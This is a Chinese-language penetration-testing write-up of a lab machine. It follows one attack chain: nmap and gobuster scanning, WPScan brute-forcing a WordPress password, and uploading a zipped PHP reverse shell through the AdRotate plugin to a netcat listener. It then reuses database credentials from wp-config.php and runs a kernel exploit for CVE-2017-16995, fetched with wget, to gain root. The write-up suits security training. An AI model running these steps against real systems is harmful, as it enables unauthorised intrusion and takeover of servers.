前言攻击者通过暴力破解WordPress用户的凭据并利用WordPress插件AdRotate中的文件上传漏洞来入侵该服务器。随后攻击者利用Linux内核中的本地权限提升漏洞进一步提升权限。注意本文仅探讨解题方法所述技术严禁用于任何非法网络行为枚举使用我们的万能开头nmap起手式nmap探测存活端口。sudo nmap -sT 192.168.223.121 -p- --min-rate 10000Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 22:15 EDTWarning: 192.168.223.121 giving up on port because retransmission cap hit (10).Nmap scan report for 192.168.223.121Host is up (0.090s latency).Not shown: 63906 closed tcp ports (conn-refused), 1628 filtered tcp ports (no-response)PORT STATE SERVICE80/tcp open httpNmap done: 1 IP address (1 host up) scanned in 19.39 seconds这台服务器只开启了80端口。对这个端口进行详细的探测。sudo nmap -sV -A -O 192.168.223.121 -p 80 --min-rate 10000Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 22:15 EDTNmap scan report for 192.168.223.121Host is up (0.089s latency).PORT STATE SERVICE VERSION80/tcp open http nginx 1.10.3 (Ubuntu)|_http-title: Welcome to nginx!|_http-server-header: nginx/1.10.3 (Ubuntu)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16Network Distance: 4 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 80/tcp)HOP RTT ADDRESS1 90.39 ms 192.168.45.12 90.41 ms 192.168.45.2543 90.43 ms 192.168.251.14 92.83 ms 192.168.223.121OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds通过以上信息得知目标操作系统为Ubuntu Linux80端口上部署有nginx 1.10.3。WEB 枚举查看首页并没有什么有用的信息没有服务的目录并且查看nginx1.10.3这个版本没有我们可用的漏洞。gobuster接下来进行WEB枚举中的重要步骤目录扫描。我习惯使用gobuster。字典使用/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtgobuster dir --urlhttp://192.168.223.121/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --no-error -t 50Gobuster v3.6by OJ Reeves (TheColonial) Christian Mehlmauer (firefart)[] Url: http://192.168.223.121/[] Method: GET[] Threads: 50[] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt[] Negative Status codes: 404[] User Agent: gobuster/3.6[] Timeout: 10sStarting gobuster in directory enumeration mode/wordpress (Status: 301) [Size: 194] [-- http://192.168.223.121/wordpress/]Progress: 220559 / 220560 (100.00%)Finished通过gobuster扫描发现了/wordpress目录这极有可能是一个 WordPress 网站。访问这个站点确实会看到一个 WordPress 网站。不过该网站似乎无法正常显示。修复站点显示问题查看该页面的源代码发现会发现这个站点所使用的域名信息loly.lc。那么我们将这个域名信息写入到本地计算机的hosts文件中。现在我们重新刷新页面或者也可以访问http://loly.lc/wordpress页面已经恢复正常了WPScan既然我们已经知道了这是一个wordpress站点那么肯定就要拿出WPScan对这个wordpress站点进行下扫描。wpscan --url http://loly.lc/wordpress/ -eu --api-tokenyuoC************[i] User(s) Identified:[] loly| Found By: Author Posts - Display Name (Passive Detection)| Confirmed By:| Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Login Error Messages (Aggressive Detection)枚举到一个loly用户接下来我们再次运行下WPScan尝试爆破出loly用户的密码。wpscan --url http://loly.lc/wordpress/ -U loly -P ../../rockyou.txt[] Performing password attack on Xmlrpc against 1 user/s[SUCCESS] - loly / fer*****Trying loly / corazon Time: 00:00:07 (175 / 14344567) 0.00% ETA: ??:??:??等待一会成功爆破出一组密码loly:fer***** 。接下来很显然我们通过这个用户名及密码登录wordpress后台管理页面。突破边界登录后查看到这个wordpress安装了AdRotate插件那么我们就可以通过AdRotate插件上传一个webshell获得一个反向shell。然后就可以突破边界了文件上传在行动之前我们先看下上传规则以确保我们成功上传webshell最重要的是可用。在【AdRotate】-【 Manage Media】选项卡中我们可以看到支持上传的文件格式。其中最关键的是可以上传zip文件并且会自动解压缩解压后删除源zip文件。上传的目录是banners。接下来我们进行文件上传的思路就是。将一个php语言的webshell压缩成zip文件上传上传成功后访问这个webshell文件从而得到一个方向shell。复制一个webshell到当前目录并修改其中的回连地址及端口。cp /usr/share/webshells/php/php-reverse-shell.php ./ vi php-reverse-shell.php.......set_time_limit (0);$VERSION 1.0;$ip 192.168.45.168; // CHANGE THIS$port 4444; // CHANGE THIS........压缩文件zip shell.zip php-reverse-shell.php上传文件上传成功接下来到了激动人心的时刻本地计算机开启监听端口准备接收shell。nc -nvlp 4444在浏览器访问刚刚上传的webshell文件。http://loly.lc/wordpress/wp-content/banners/php-reverse-shell.php成功突破目标主机边界。listening on [any] 4444 ...connect to [192.168.45.168] from (UNKNOWN) [192.168.223.121] 53282Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux19:38:01 up 1:46, 0 users, load average: 0.00, 0.00, 0.00USER TTY FROM LOGIN IDLE JCPU PCPU WHATuid33(www-data) gid33(www-data) groups33(www-data)/bin/sh: 0: cant access tty; job control turned off$ whoamiwww-data提权突破边界后在操作系统中进行一系列信息收集。最终在/var/www/html/wordpress/wp-config.php文件中发现了数据库用户名及密码。wordpress:loly*************敏感信息泄露wp-config.php文件中的密码字符串看起来和loly用户相关尝试登录loly用户。www-dataubuntu:~/html/wordpress$ su loly su loly Password: loly************* lolyubuntu:/var/www/html/wordpress$ cd cd lolyubuntu:~$ id id uid1000(loly) gid1000(loly) groups1000(loly),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare) lolyubuntu:~$ whoami whoami loly lolyubuntu:~$成功切换到了loly用户Linux Kernel提权横向移动到loly用户后也是没有发现任何有价值的信息。最后我决定进行内核提权。首先查看操作系统及内核版本信息。uname -alolyubuntu:~$ uname -auname -aLinux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linuxcat /etc/os-releaselolyubuntu:~$ cat /etc/os-releasecat /etc/os-releaseNAMEUbuntuVERSION16.04.1 LTS (Xenial Xerus)IDubuntuID_LIKEdebianPRETTY_NAMEUbuntu 16.04.1 LTSVERSION_ID16.04HOME_URLhttp://www.ubuntu.com/SUPPORT_URLhttp://help.ubuntu.com/BUG_REPORT_URLhttp://bugs.launchpad.net/ubuntu/UBUNTU_CODENAMExeniallolyubuntu:~$根据操作系统及内核版本信息搜索内核提权exploit。searchsploit ubuntu 16.04.1 linux kernel 4.4---------------------------------------------------------------------------------- ---------------------------------Exploit Title | Path---------------------------------------------------------------------------------- ---------------------------------.........Linux Kernel 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c.........---------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results在这个示例中我们使用45010将exploit下载到本地。然后上传至目标服务器进行内核提权。searchsploit -m 45010Exploit: Linux Kernel 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege EscalationURL: https://www.exploit-db.com/exploits/45010Path: /usr/share/exploitdb/exploits/linux/local/45010.cCodes: CVE-2017-16995Verified: TrueFile Type: C source, ASCII textCopied to: /home/kali/pg_plag/Loly/45010.c本地计算机开启端口监听准备将代码上传至目标服务器上。python -m http.server --bind 0.0.0.0 80loly用户使用wget命令将45010.c文件下载到服务器上。wget 192.168.45.168/45010.cConnecting to 192.168.45.168:80... connected.HTTP request sent, awaiting response... 200 OKLength: 13176 (13K) [text/x-csrc]Saving to: ‘45010.c’45010.c 100%[] 12.87K --.-KB/s in 0.08s2026-04-13 20:02:16 (154 KB/s) - ‘45010.c’ saved [13176/13176]一些都准备好了接下来只需要将C文件进行编译然后运行即可完成提权。使用GCC进行编译。gcc 45010.c -o cve-2017-16995 ./cve-2017-16995./cve-2017-16995[.][.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)[.][.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **[.][*] creating bpf map[*] sneaking evil bpf past the verifier[*] creating socketpair()[*] attaching bpf backdoor to socket[*] skbuff ffff880035d0a200[*] Leaking sock struct from ffff8800340c4b40[*] Sock-sk_rcvtimeo at offset 472[*] Cred structure at ffff880035e42d80[*] UID from cred structure: 1000, matches the current: 1000[*] hammering cred structure at ffff880035e42d80[*] credentials patched, launching shell...# ididuid0(root) gid0(root) groups0(root),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare),1000(loly)# whoamiwhoami到此咱们又成功拿下一台服务器。总结本文详细记录了针对一台Ubuntu服务器的渗透测试过程。攻击者首先通过nmap扫描发现开放的80端口随后使用gobuster扫描目录发现WordPress站点。利用WPScan爆破出管理员凭证后通过AdRotate插件的文件上传漏洞获取反向shell。接着利用数据库凭证横向移动到loly用户最终通过Linux内核提权漏洞(CVE-2017-16995)成功获取root权限。整个过程展示了从外部扫描到内核提权的完整攻击链涉及多种渗透测试技术包括暴力破解、Web漏洞利用和本地提权等。